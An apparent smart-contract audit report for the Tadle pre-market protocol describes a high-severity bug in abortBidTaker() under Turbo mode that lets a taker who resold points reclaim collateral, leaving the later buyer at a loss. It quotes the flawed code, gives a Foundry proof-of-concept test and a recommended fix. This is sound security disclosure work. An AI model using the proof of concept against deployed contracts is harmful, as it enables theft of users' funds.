Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Taker can get more collateral via abortBidTaker() in Turbo mode

Summary

In one ask maker aborts this offer, the related taker can get back the collateral token via abortBidTaker(). If the bid taker has already resell points to other traders with no collateral in Turbo mode, the bid taker can get the sell revenue and also returned collateral from the maker via abortBidTaker().

Vulnerability Details

In PreMarkets, the maker can choose to abort one ask offer. As the maker, maker can get back all collateral amount and as the bid taker, the trade will become invalid, the bid taker will not get the point tokens and can get back their collateral tokens which were used to buy points.
The problem exists in the turbo mode. When the bid taker wants to abortBidTaker, we calculate the return collateral amount based on stockInfo.points. Here stockInfo.points means how many point the bid taker buy from the maker or the pre-offer. The problem is then the bid taker may resell the points and get some sell revenue.
For example:

  • Alice creates one ask offer with 12000 collateral amount and turbo mode for settle type.

  • Bob creates one bid taker to match Alice's offer. Assume Bob pays 10000 to buy points from Alice.

  • Bob resells point via listoffer() with 0 collateral because of turbo mode.

  • Cathy creates one bid taker to match Bob's offer. Assume Cathy pays 11000 to buy points from Bob. Now Bob win profits 1000.

  • Alice wants to abort her ask offer via abortAskOffer().

  • Bob gets back the collateral amount 10000 which were used to buy Alice's point. This is wrong, because bob's points are used, he should get back some collateral.

function abortBidTaker(address _stock, address _offer) external {
...
@=> uint256 depositAmount = stockInfo.points.mulDiv(
preOfferInfo.points,
preOfferInfo.amount,
Math.Rounding.Floor
);
uint256 transferAmount = OfferLibraries.getDepositAmount(
preOfferInfo.offerType,
preOfferInfo.collateralRate,
depositAmount,
false,
Math.Rounding.Floor
);
MakerInfo storage makerInfo = makerInfoMap[preOfferInfo.maker];
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
_msgSender(),
makerInfo.tokenAddress,
transferAmount
);
stockInfo.stockStatus = StockStatus.Finished;
}

Poc

function test_poc_list_offer_turbo_offer() public {
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 500);
address stockAddr1 = GenerateAddress.generateStockAddress(1);
address offerAddr1 = GenerateAddress.generateOfferAddress(1);
preMarktes.listOffer(stockAddr1, 0.006 * 1e18, 12000);
vm.stopPrank();
vm.startPrank(user2);
preMarktes.createTaker(offerAddr1, 500);
vm.stopPrank();
vm.prank(user);
preMarktes.abortAskOffer(stockAddr, offerAddr);
vm.startPrank(user1);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.abortBidTaker(stock1Addr, offerAddr);
vm.stopPrank();
}

Impact

In above example, Bob will get more collateral than expected. And Cathy will lose all her collateral toke which were used to buy points.

Tools Used

Manual

Recommendations

In abortBidTaker(), the bid taker can only get back related collateral amount if there is some remain points.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-abortBidTaker-amount-wrong-StockInfo-points

Valid high severity, due to incorrect computation of `depositAmount` within `abortBidTaker`, when aborting bid offers created by takers, the collateral refund will be completely wrong for the taker, and depending on the difference between the value of `points` and `amount`, it can possibly even round down to zero, causing definite loss of funds. If not, if points were worth less than the collateral, this could instead be used to drain the CapitalPool contract instead.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!